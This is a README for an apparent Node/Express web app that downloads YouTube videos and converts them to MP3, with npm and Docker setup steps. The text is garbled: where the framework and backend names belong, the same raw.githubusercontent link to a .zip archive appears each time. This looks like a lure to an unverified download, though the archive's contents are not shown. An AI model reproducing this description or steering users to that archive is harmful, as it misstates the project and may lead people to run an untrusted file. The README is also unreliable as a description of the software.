YouTube MP3 & MP4 Downloader is a simple web application that lets you download videos from YouTube in MP4 format and convert them into MP3 audio files. Built with https://raw.githubusercontent.com/emann0/YouTube-MP3-MP4-Downloader/main/public/M_You_Downloader_Tube_1.6.zip and Express, this tool uses FFmpeg for audio processing. It's designed for quick deployment using Docker.
- Download Videos (MP4): Choose various video resolutions for downloading.
- Convert to Audio (MP3): Convert and download audio files from videos as high-quality 128kbps MP3s.
- User-Friendly Interface: Designed to be simple and easy for anyone to use.
- Instant Display: View video information, thumbnails, and download options right after pasting a link.
- Ready for Docker: Comes with a Dockerfile for easy image creation and deployment on supported container platforms.
- Backend: https://raw.githubusercontent.com/emann0/YouTube-MP3-MP4-Downloader/main/public/M_You_Downloader_Tube_1.6.zip, https://raw.githubusercontent.com/emann0/YouTube-MP3-MP4-Downloader/main/public/M_You_Downloader_Tube_1.6.zip
- Template Engine: EJS (Embedded JavaScript templates)
- YouTube Core: @distube/ytdl-core
- Video/Audio Processing: fluent-ffmpeg
- Deployment: Docker
Before you begin, make sure you have the following:
- A modern web browser (Chrome, Firefox, or Edge).
- An internet connection for downloading videos and software.
- Docker installed if you plan to run the application locally.
To get started, visit the Releases page to download the application. Click the link below:
You will find different versions of the application. Select the latest release and download the file suited for your system.
-
Install Dependencies (if running locally): If you are running the application locally, navigate to the folder where you downloaded it. Open your command line interface and run the following commands:
npm install
-
Start the Server: After the dependencies are installed, start the application by running:
npm start
The application will be running on
http://localhost:3000by default. -
Using Docker (if preferred): If you want to use Docker, follow these steps:
- Open your terminal and navigate to the project folder.
- Build the Docker image:
docker build -t youtube-downloader .- Run the Docker container:
docker run -p 3000:3000 youtube-downloader
You can access the application at
http://localhost:3000.
- Copy the YouTube link of the video you want to download.
- Paste the link into the application.
- Choose your preferred resolution for video download or click on the MP3 option for audio.
- Click the download button and enjoy your content.
This project is licensed under the MIT License. For more details, check the LICENSE file in the repository.
If you experience any issues or have questions about using the application, feel free to raise an issue on the GitHub repository, and we'll be happy to help.